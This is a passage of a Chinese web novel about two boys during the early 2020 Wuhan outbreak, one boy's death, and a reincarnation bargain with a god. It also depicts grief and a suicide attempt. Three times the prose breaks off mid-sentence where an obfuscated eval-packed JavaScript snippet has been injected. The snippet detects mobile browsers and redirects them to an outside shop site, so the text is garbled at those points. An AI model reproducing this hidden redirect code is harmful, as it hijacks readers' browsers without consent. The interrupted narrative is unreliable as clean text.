“那就好,一定要记得戴好防护,出去的时候尽量避开人……也别往医院大厅来,乖乖回家……” 傅星说完,忍不住咳了几下,虽然他很快就捂住了话筒,但乌嘉还是捕捉到了那几声短促的声音。 他眼眶一红,带着哭腔急道:“星星,你怎么了?是不是很难受?有没有医生在你身边……” “……嘉嘉,我没事。” 傅星急促的喘息了一下,然后继续道:“你回家的时候一定要注意安全,还有……后天就是我生日了,我希望你要开心的给我准备生日礼物,然后真心的笑着和我说——生日快乐。” 乌嘉哭声一滞,眼泪奔涌而出,他颤抖着声音回答:“……好。” 2020年1月26日,累计报告2744例,死亡80例。 乌嘉被一个陌生的人带着,正往医院底层走去,一路上,混乱的声音连成一片,所有医护人员都走得飞快,每个人都在跟死神赛跑。 但即使是这样,还是有很多病人无人看顾,乌嘉看着那些痛苦的病人,心中沉痛的说不出话来,眼眶也是酸涩难忍。 快到底层时,带他下来得陌生人给他匆匆指了一下路,便赶紧离开了,他们走的是安全通道,这里的人相对少一些。 乌嘉一路走到了大厅,大厅里摆满了病床,哀嚎声此起彼伏,医护人员更是脚不沾地。 因为拥挤,常常有撞在一起的事情发生,但他们没有时间道歉也不会停顿,摔得再狠也是爬起来就走。 他不想给这里再添麻烦,便贴着墙慢慢走,很快就来到了一处装着大片玻璃的缴费台,玻璃内也没了工作人员,而是放着病床,乌嘉若有所感看向玻璃内,随即控制不住的颤抖了起来。 里面……躺着的是傅星。 傅星半闭着眼,脸色苍白羸弱,身形是前所未有的憔悴,一身仪器滴滴作响,他身旁还摆着很多病床,无一都躺着像他这样陷入半昏迷的重症病人。 乌嘉扒着玻璃,哭得眼前都是雾气,哭得喘不上气,喉咙里也泛起了血腥味,浑身更是抖得几乎站立不住。 里面的傅星似乎是察觉到了什么,手指轻颤了一下,眼睛也慢慢睁开了些许,看向了乌嘉的方向。 傅星其实认不出那个模糊的身影是谁,但他就是有一种直觉,那里的人是乌嘉,他干裂的嘴唇微张几次,好像说了什么话,但连他自己都听不清自己在说什么。 乌嘉站在那哭了很久,他看到傅星说了话,但他听不到,他盯着里面的傅星,脚下匆忙的走了几步,想要靠近一些,却看到里面的傅星摇了摇头。 随后,他举起了一直握在手心的手机,将上面的字露了出来。 “愿我如星君如月,夜夜流光相皎洁。” 乌嘉不知道自己是什么时候出去的,他有意识时,已经是在宋玉温怀里了。 原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196417|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经干涸的眼泪又涌了出来,他崩溃的跪倒在宋玉温怀里,哭得撕心裂肺。 2020年1月27日,累计报告4515例,死亡106例。 乌嘉回到家后,就一直不怎么说话,知道看到手机上的日期,他才如梦初醒,仓皇起身喃喃:“今天是星星生日,我得给他准备礼物……” 他像是想到了什么,走出房门找到乌常辉,语无伦次的开口道:“爸爸,教我做蛋糕,今天是星星生日,我要给他做一个蛋糕……” 乌常辉眼眶一热,但他没有多说什么,把乌嘉带进厨房,用上次乌嘉生日剩下的材料就开始教乌嘉做蛋糕。 宋玉温看着乌嘉在厨房中认真忙碌的背影,忍不住转过了身,她擦去眼角的眼泪,对自己道,不能在嘉嘉面前哭,不然嘉嘉也该伤心了。 乌嘉做得很细致,他在蛋糕上认真裱出一个星星和一个月亮,看着漂亮的成品,他满意的笑了。 他迫不及待的拍了一张照,发给傅星,随后打了很多字。 他说这个蛋糕是自己亲手做的,说他听傅星的话,一直都很开心的在给他做蛋糕,他说傅星这次吃不到也没关系,下次一定再给他做一次,他说…… 乌嘉打字打着打着,忍不住又哭了,他的眼泪掉在蛋糕上,打散了那个黄色的星星,握在手心的手机里有一长串消息,却没有得到一条回应。 2020年1月28日,累计报告5974例,死亡132例 重症监护病房里,傅钦坐在一堆仪器中间,正在给傅星削苹果。 削完后,他想将苹果放进盘中,但盘中已经有了一个氧化完的苹果,他只好将盘中的苹果倒掉,然后换成手上这个新的苹果。 他看着紧闭着双眼的傅星,忽然开口:“星星……对了,你不喜欢我们叫你星星。” “其实……爸爸挺想和你道歉的,从小我们就忙,不怎么关注你,就连之前你被欺负,我们也发现得很晚。” 傅钦说到这,眼睛一红,但他没有哭,而是接着道:“还有后面带你去滑雪,还把你落下了……其实没有落下你,我们只是看你心情不好,逗你的,我们其实一直就躲在你身后看着你。” “后来……你就遇到了嘉嘉。” 傅钦吸了一口气,继续道:“我听到嘉嘉喊你星星的时候,很开心……开心的和你妈一晚没睡,我们是真心谢谢嘉嘉,谢谢他带你走出了阴影。” “所以……我觉得,你选择救嘉嘉,做得对。” 傅钦声音颤抖:“做得不好的是我,我没有办法保护好你,我没能把你治好,我也救不了他们……” “对不起……” 2020年1月29日,累计报告7711例,死亡170例 乌嘉呆坐在房间中,紧紧捏着中指的那枚戒指,镶刻着星星状钻石的戒指被摸得异常温热,就像另一个的体温一样。 乌常辉敲了敲门,推门而入,他看着没有什么反应的乌嘉,眼睛一红,然后他的目光落在了乌嘉一直捏着的戒指上。 他像是想到了什么,很快转身走了,过了一会,客厅里响起了宋玉温难以抑制的哭声。 乌嘉被乌常辉带到客厅的时候,人还没有很清醒,但等他听到宋玉温的话时,眼神中忽然有了焦距。 “嘉嘉,你真的很喜欢星星吗?”宋玉温压着哭腔,问出这个她想都没想过的问题。 乌嘉眨了眨眼,忽然笑了。 他说:“很喜欢,非他不可。” 宋玉温又哭出了声,乌常辉扶住她,没有说话。 她缓过来后,拉起乌嘉戴着戒指的手,缓缓道:“妈妈……不懂什么很大的道理,但我只知道,你遇见星星之后,就慢慢开始变快乐了。” “没有哪个母亲不愿意看到自己的孩子越来越好,我也一样,只要你开心,你做什么我都会支持你。” 宋玉温说完,顿了一下,然后红着眼继续道:“所以,嘉嘉,你别再难过了,等星星出来,看到你这个样子,也会难受的。” 那么多天过去,乌嘉眼中终于有了光彩,他认真点头:“好。” 24. 我不是乌嘉 2020年1月30日,累计确诊9692例,死亡213例。 2020年1月31日,累计确诊11821例,死亡259例 2020年2月1日,累计确诊14380例,死亡304例 2020年2月2日,累计确诊17238例,死亡361例 2020年2月3日,累计确诊20471例,死亡425例 2020年2月4日,累计确诊24363例,死亡491例 2020年2月5日,累计确诊28060例,死亡564例 2020年2月6日,累计确诊31211例,死亡637例 2020年2月7日,累计确诊34598例,死亡723例 2020年2月8日,累计确诊37251例,死亡812例 乌嘉真的没有再颓废,他认真的吃饭,睡觉,做作业,偶尔还会在宋玉温的健身房里锻炼身体。他每天依旧会给傅星发消息,傅星依旧不会回复,但他已经很少哭了,只是偶尔,很少的时候,他会忍不住的掉下几滴眼泪。 今天他打算整理一下自己的房间,将杂物归类好后,他忽然看到了那个放在衣柜角落的牛皮纸盒,还有纸盒上的那本相册,这是他们放寒假前带回来的。 他控制不住的伸手,拿过了相册,相册封面上写着“嘉嘉和星星的成长日记”,他摩挲着那几个字,然后颤抖着手翻开了相册。 里面的照片都被保存的很好,清晰的记录下两人的和轨迹,看上去童真又生动。到了后面,两人的照片都少了些童趣,却多了很多秘而不宣的爱意,弯起的嘴角,对视的双眼…… 啪嗒—— 乌嘉的眼泪落在相册上,他慌忙擦走,生怕损坏到照片,他接着往后翻,在最后一面,看到了一张……他从没见过的照片。 照片里的他惊讶的微张着嘴,一副呆愣的模样,身后的背景很黑,但依稀看得出这里是一个照相馆。 “我要独自欣赏,不给你看。” “嘉嘉……要不我给你看,你给我看?” 乌嘉记起来了,这是他们第一次约会时傅星偷拍他的照片,还藏着不让他看,想到这,乌嘉破涕而笑,哑声道:“什么嘛,还不是被我看到了……” 还没说完,乌嘉愣住,他记得……他也拍了一张傅星的照片,没有给傅星看,放哪里了来着? 他慌忙起身,去书桌前翻找,翻到一半,他忽然想起了什么,转头看向地上那个牛皮纸盒。 他蹲下身,轻轻打开那个盒子,看清里面的模样后,他完全呆滞住了。 纸盒内不光有那张照片和糖纸,还凭空多出了很多……便签纸。 乌嘉颤着手指拿起照片,照片上也贴着一张有着星月图案便签纸,纸上是傅星简单利落的字——哈哈哈,我还是看到了这张照片,为了公平起见,嘉嘉的照片我也放进相册了,看你什么是时候能找到!(叉腰大笑) 看着那滑稽的简笔画,乌嘉泪眼朦胧,但嘴角却勾了起来。 然后就是那些糖纸,几乎每一张都贴上了便签纸,乌嘉放下照片,一张张认真看了起来。 ——首先声明,本人于2019年8月31日意外发现了这个纸盒,是在帮嘉嘉找浴巾的时候发现的(害羞)嘉嘉你果然好爱我(哭唧唧) ——这张黄色糖纸,一看是最新的,是我第五次约会的时候我喂给你的!(机智)我还说我口袋里的糖纸怎么不见了,原来是嘉嘉小偷作案了啊~ ——这张糖纸很独特,是所有糖纸里唯一只有一张的花色,所以……这是我从班主任那顺来的糖!我只拿了一颗,直接送给了嘉嘉。PS:那时候我们还是同桌(大哭) ——这张糖纸角落有一个缺!这是五年级的时候我送给嘉嘉的,因为太难剥开了,于是我就帮你打开,接过用力过猛撕烂了……我就说当时你怎么好像瞪了我一眼(挠头) ——这张糖纸有些黏,又是薄荷味的,所以……是四年级夏天我给你的糖,因为天气太热加上我揣太久了,所以都溶化了,但是你还是吃完了(给你爱心) …… ——这是最底下的一张,也是最旧的一张,也是黄色的奶糖,所以这是我第一次送给你的糖(准确来说是嘉嘉自己挑的),原来从那个时候,嘉嘉把我放在心上了(拥抱)。嘉嘉拿走糖之后,跟我说了第一句话,是“谢谢”,我当时就想,好可爱好有礼貌,我要和他坐朋友!还好不仅成了朋友,还成了男朋友(骄傲叉腰) 后面还有一段字,笔迹更新一些,一看就是后面加上去的—— 今天哭了很多次,嘉嘉也哭了很多次(摸摸头)原来嘉嘉上辈子那么痛苦啊,我当时好想问,嘉嘉你痛不痛?是不是很难受?快死的时候是不是很害怕?但是我不敢问,我不想再让你想去那些痛苦的事情。 你说,上辈子我救过你,那我得狠狠夸一夸上辈子的我了,但夸完就得骂,你说你外套都给出去了,为什么不搭把手把人送到医院去呢!哪怕背回家也行啊,这可是你未来的老婆!咳咳……当然,不知者无罪,咱也不能太怪他。 最后我想说,嘉嘉,过去的事情就让他过去吧,拉着我的手,我们一起走到更好的未来。(星星月亮拉手走) 外面的天已经黑了,房间黑漆漆一片,乌嘉坐在地板上,周围散落着便签纸和糖纸,微微的抽泣声在空荡的房间里断断续续响起,还夹杂着一些笑声。 他仿佛真的看到傅星的身影,每每趁着他不在公寓的时候,溜进他的房间,悄悄写好便签纸放进去,放的时候脸上是什么表情呢?是紧张?还是坏笑?还是……期待?期待乌嘉发现他留下的小惊喜。 笃笃笃—— 敲门声突兀的打破了这场幻想,乌嘉猛然抬头,顾不上穿鞋,直直冲下了楼。 “……傅先生嘱托过了,请你们一定要收好,他们那边还是走不开,等一切结束了,再举行……” 来人看到那个慌张的少年,语气一顿,最后还是把话说完:“……葬礼。” 乌嘉感觉世界嗡咛不停,他盯着乌常辉手中的罐子,满眼写着困惑。 “嘉嘉,嘉嘉……你冷静一点,你要学会接受……嘉嘉!” “……” “…………” “………………” 乌嘉感觉自己漂浮了起来,他在一片空白中漂浮,无知无觉,无喜无悲。 不知过了多久,空白的世界忽然出现了画面,他看到一个卷头发的可爱小男孩笑着和他说—— “再见,嘉嘉。” 悲痛袭上心头,他想哭嚎,想挽留,但却摆动不了一点自己的身体,他只能看着那个小小的身影,一点点远去。 他开始疯狂挣扎,迫切的想要挣脱,但却被压得无法喘息,胸口的痛扩散到了全身,疼得他想撕开自己,他意识模糊间,无端的觉得,这样的痛,比上辈子那些病痛还要可怕,可怕千万倍。 眼前又开始浮现那个身影,男孩已经长成了少年,他牵着自己,一点点纠正自己不标准的踢球动作,耐心又温柔。 “嘉嘉,你要快点长高,我不想和你分开。” 足球被一脚踢远,少年放开他的手,转身跑向远处,要去捡回那个球。 别走…… 画面消散又凝结,又是那个肆意的少年,他难过的说:“我们分开之后,你不能忘了我,我们还是最好的朋友……” 说完,他抱起书桌上的书,头也不回的走向了教室后排。 别走。 “还记得那条撤回的信息吗,我说过,考完试告诉你。” 少年深情的看着他,缓缓开口,“我发的是……” “愿我如星君如月,夜夜流光相皎洁。” 别走! 乌嘉终于挣脱,他冲向上前,想要抓住温柔的男孩,但男孩却在他靠近的那一刻,彻底消散。 “星星!” 乌嘉猛然坐起,面前是泪痕未干的宋玉温,他愣了一下,然后僵硬道:“星星呢?” 宋玉温一颤,然后一把抱住了乌嘉,她哭着说:“嘉嘉,我们别想了好不好……我们睡觉,对,我们睡一会,什么都不想……” “妈妈……星星呢?”乌嘉摇头,泪珠滚落到被子上,他一遍遍的问,却没有得到一次回应。 不知过了多久,房间里终于安静了下来,宋玉温替睡着的乌嘉盖好被子,悄悄退去。 在门外安静后,黑暗中的乌嘉又睁开了眼,他爬起来,眼神四处搜寻,终于在书桌上看到了自己的手机。 他冲过去拿起手机,颤抖的双手几乎解不开屏幕锁,他在手机相册中疯狂翻找,似乎想从中找出一个活生生的傅星。 他苍白的指尖,落在了一个视频上。 “……唱一首《小星星》。” “等等!买一送一,我来伴奏。” 听到久违的声音,乌嘉的泪悄无声息的落在了屏幕上,他轻轻擦干手机屏幕,认真看着上面的视频。 “你能不能别离开——” …… “你,就是我的小星星——” “挂,在那天上放光明——” 两个少年笑着对视,身后是拿着点点光亮的众人,就像是星光亮起的昏暗天空。 视频很快结束,乌嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196418|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些茫然的拿着手机,愣了很久。 最后,他忽然一把拉开了窗户,寒风铺面而来,他却毫无知觉,只是抬头看向外面漆黑一片的天空,试图在上面找到消逝的星星。 ——漆黑夜空之上,只有一轮圆满的明月,不见半颗亮起的星星。 “月圆的时候,是看不到星星的。” 乌嘉被寒风吹得整个人都冰凉了下来,这样刺骨的寒意却没有撼动他半分,他就呆立在窗前,试图等出一颗愿意见他的星星。 冷风一次次吹向他,似乎想把这个痴傻的人吹醒,但却是无用。 最后,这股风似乎意识到了什么,不再强劲呼啸,而是轻轻徐来,卷起了散落在地上的一张黄色糖纸,送到了乌嘉眼前。 乌嘉眼神微动,看着这张飘落的黄色糖纸,他的脸色猛然一变,像是想到了什么。 人生重排! “恭喜你,作为此时世界上最悲惨的人,将获得三次人生重排的机会。” 乌嘉脑海中忽然记起这句话,他知道了,他知道怎么救傅星了! 他对着天边,直直跪了下来,双手合十,目光虔诚的开始呢喃,求那个曾帮助过他的神明出现。 求求你,救救傅星,我可以付出任何代价,求求你,求求你…… 乌嘉不知道自己跪了多久,他执拗的看着天边,祈求神的回应,但外面空寂无声,没有半点神迹浮现。 为什么?为什么不出现?上次是怎么出现的?是……在他快要死的时候! 乌嘉看到了桌上的美工刀,他拿过锋利的美工刀,眼神晦暗不明。 “……” 门外,乌常辉和宋玉温的声音响起,他们声音微弱,乌嘉根本听不清他们在说什么,但光是这阵声音,都让他眼中恢复了半丝清明。 他放下美工刀,拿过纸笔,写下寥寥几字。 爸爸妈妈,你们总说,有我是你们最大的幸运,但其实,你们才是我最大的幸运。 谢谢你们,对不起,我爱你们。 乌嘉放下笔,下一刻,他抓起美工刀,毫不犹豫刺向自己的脖颈。 就在刀刃即将刺破肌肤的那一刻,整个世界都暂停了。 “乌嘉,你是要放弃这次人生吗?” 久别的声音再度响起,乌嘉看着静止在空中的窗帘,开口道:“我还有其他办法吗?” 神沉默了。 “他是上辈子救过我的人,我这辈子却害他失去了生命,这要让我怎么敢继续活下去?” 神说:“可你的人生不只有他,你还有爱你的爸爸妈妈……” “可不能没有他们的,一直只是我罢了。”乌嘉眼神平静,像是在说一个事实。 没有他,乌常辉和宋玉温就只会是一对恩爱的夫妻,或者,他们会有其他的小孩,他相信,无论是怎样的小孩,他们都会像爱他一样爱那个小孩。 毕竟,在上辈子,乌甲并不是他们的小孩。 “可再度开启新的人生,傅星也不一定就能活得更长久,我说过,每个人的人生都是随机的,他没准根本活不到十六岁。” 乌嘉似乎早就料到了这个结果,他道:“我没打算再进行重排。” “上辈子,我活到了快十八岁,他也活过了十八岁,躲过了这次灾难,不是吗?” 说到这,乌嘉痛的麻木的心又抽痛了几下。没有遇见自己的傅星才是最幸运的,能够在父母的爱下安然长大,度过这场危机,不会被自己牵连,不会…… “可如果你回到前世,他就不会再认识你。”神说。 “但他活了下来,而且……”乌嘉微顿,像是在回忆那张面孔。 眼神干净无暇,衣着考究精致,简直不能再美好了……回忆完,乌嘉继续道:“……活得很幸福,没有我,他也能幸福。” 神又沉默了一下,良久,神才开口:“所以,你是要回到上辈子,回到那个雪夜,回到那个必定死亡的乌甲身上。” 乌嘉回答:“是的。” 神说:“那等于,你放弃了接下来的两次重排机会,以及,你将失去这一世的所有,包括记忆。” 乌嘉回答:“是的。” 神好像是还在确认什么:“可你会死的,彻彻底底的消亡,包括你的灵魂……” 乌嘉打断道:“我知道,无论怎样,我都不会改变我的选择。” 神沉默得更久了,恍惚间,乌嘉仿佛听到了一声叹息,极其无奈的叹息。 乌嘉没来得及细想,熟悉的抽离感就席卷而来,在彻底离开这个世界之前,他仿佛听到了神说:“我也知道,你不会改变你的选择。” 错觉吧。 25. 神不是听不见 叮叮当,叮叮当,铃儿响叮当…… 圣诞的乐声悠扬动听,渲染着这个雪夜,为其冰冷的外表增添一丝暖意,这股暖意萦绕在这座刚经历过浩劫的城市中,轻轻抚慰着每个尚存伤疤的心。 傅星一脚踩进积雪中,飘荡的雪花落在那□□康红润的脸上,他露出兴致盎然的笑,他迷上了这种忽地陷进去的感觉,于是他一脚接着一脚,踏着厚厚的雪层,往家的方向走去。 他闪着光的眼眸忽然一顿,余光中似乎看到了什么。 天桥下……好像有个人! 傅星没再沉迷于踩雪,他朝着桥下那一团布奔跑过去,等他走到那里看清惨烈的状况后,不由得一窒——那里躺着一个几乎看不出人形的人。 脏兮兮的面孔,破烂的衣衫,青紫的皮肤…… 傅星没怎么犹豫就脱下了外套,他轻轻盖在那人身上,盖完后,去试了试他的鼻息。 他的手冻得有些麻木,并没有试出明显的鼻息,就在他拿不准这人还活没活着的时候,这个人忽然颤颤的睁开了眼。 一双黑漆漆的眼盯着他,像是想说些什么。 傅星一喜,赶紧道:“你撑住,我这就就叫人来救你,你别急……” 说着,他就掏出了手机,但可惜的是,这个天桥下没有信号,或许是因为下大雪,他在附近转了好几圈都没找到信号。 傅星无法,他走到那人身边道:“我得去找信号,很快就回来,你等我!” 随后,他便不顾这呼啸的寒风,穿着底衫就跑上了天桥之上,高处信号果然更好,他很快就把电话拨了出去。 “对对对,向华小区西门……五分钟就到是吧,好的……谢谢你了。” 傅星松了一口气,他刚要收起手机,却突然接收到了一条信息,他点开信息,看完后愣了一下,随即发出了兴奋的欢呼:“我考上了!” 他收到的是他一直在争取的一所大学的录取名额,那是他最梦寐以求的专业,是他努力千个日日夜夜的收获。 他兴奋完,又想起了桥下的人,便想赶紧去看看救援的人来了没,就在这时,刮起了一道狂风,将傅星吹的睁不开眼。 等他再次睁开眼时,就看到了飘在半空中的黄色外套,以及……天空停滞的雪花。 傅星呆呆开口:“卧槽。” “恭喜你,作为此时世界上最幸福的人,将获得一次神的眷顾。”突兀的声音在傅星脑海中响起。 傅星一愣,随即兴奋道:“你是神!” “……是的。” 傅星双眼迸光,他欢呼:“我居然被神眷顾了!” “是的,那么,傅星,你想许一个什么愿望呢?” 傅星闻言,愣道:“什么愿望?还可以许愿?” “是的,只要我的能力范围内,我都可以帮你实现,权力,金钱,长生……” 傅星皱眉,像是在思考:“你说,我是这个世界最幸福的人?” “是此时最幸福的人。” 傅星恍然点头:“原来是这样,你们真会偷懒。” 神:? 虽然神没有说话,但傅星还是感受到了神的疑惑,他揭穿道:“早不眷顾晚不眷顾,偏偏在这个时候眷顾,在现在满世界都还沉浸在痛苦的余韵时眷顾。” 神:…… 傅星不管不顾继续说:“全世界都在悲惨,找最幸福的人是不是就轻松多了?” 神:………… 傅星说着,像是又想到了什么:“难道是幸福值KPI不够了?所以才下来冲业绩来了?给个愿望,让愚蠢的人类再次幸福起来?” 神:……………… 傅星还想说,却被神打断了:“你就说这个愿望你要不要。” 傅星乐道:“哟,急了。” 神:……………………… 傅星道:“愿望啊……让我想想,好像没什么想要的。” 神快速回复:“那你放弃。” “凭本事拿到的,为什么放弃。”傅星瞪着眼睛说完,又道:“这个愿望,能让我比现在更幸福吗?” “不做保证。” 傅星道:“那就是不会了,我本来就是这个世界最幸福的人了,再多就只能是苦恼。” “……那你打算怎么办?” “我想……”傅星思考着,不知为什么,脑海中忽然浮现了那个桥下的人。 “……把这个愿望送给此时世界上最悲惨的人,他应该比我更需要这个愿望。” 神沉默了一下,道:“你可以帮他许愿,但不能直接把愿望送给他。” 傅星了然:“超出权限了是吧,明白,那我想想,他最想要什么呢……” 金钱?爱?健康?好像都太片面了。傅星认真的思考了很久,最后开口道:“那就送他……三次人生重排的机会吧。” “作为世界上最悲惨的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196419|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他最不满的应该就是自己的人生了,那就给他崭新的人生吧!” 神又沉默了,不知过了多久,神说:“为什么是三次?” 傅星鸡贼道:“我回答你问题是不是也可以收点代价?” 神:“……我也可以不用知道。” 傅星道:“开玩笑的。为什么是三次?好问题,因为……” “第一次人生,让他重新认识这个世界,知道这个世界并不残忍。 “第二次人生,让他领悟这个世界,弥补曾经无法改变的遗憾。 “第三次人生,让他肆意活在这个世界,不再后顾不再前忧。” 神评价道:“很好的幻想。” 傅星赞同道:“大概率很难按照这样发展,所以我还有个理由。” “什么理由?” 傅星眼睛微动,低声道:“总觉得……三这个数字,好像和我很有缘分。” 虽然从小到大也没经历过什么带“三”的事,但傅星就是有这种感觉。总感觉他该和这个数字扯上关系的,三班,三楼,三年级,三朵花……之类的? 神没有再问他,直截了当:“满足你的愿望。” 雪花没有继续飘落,故事又回到了最开始的时候,天桥上,一件暖黄大衣在风中停滞,天桥下,那位神再次降临。 “恭喜你,作为此时世界上最悲惨的人,将获得三次人生重排的机会。” * 神总不介意让幸福的人更幸福,悲惨的人更悲惨。 但好在,足够幸福的人,也会真心期望别人幸福。 在无边的虚无中,另一个神的声音缓缓响起:“这是第几次循环了?” 神说:“14658122次。” 另一个神沉默一会,然后道:“其实,你只要不下放这个愿望就行了,何必给自己增加这无聊的工作呢?” 神没有马上回答,像是在回忆什么。 一段声音突兀的浮现在了神虚空中的脑海。 “我愿,神也能过得幸福。”他说。 “为什么要许这个愿望呢?”他问。 “我想谢谢帮我送到这里的神,所以希望他也可以像我们一样幸福,还有……” 他看着他,说:“……我祝愿了神,那神应该就会更乐意实现你的愿望了。” 声音缓缓散去,神看向那两个少年,终于回答了另一个神的问题。 “我乐意。”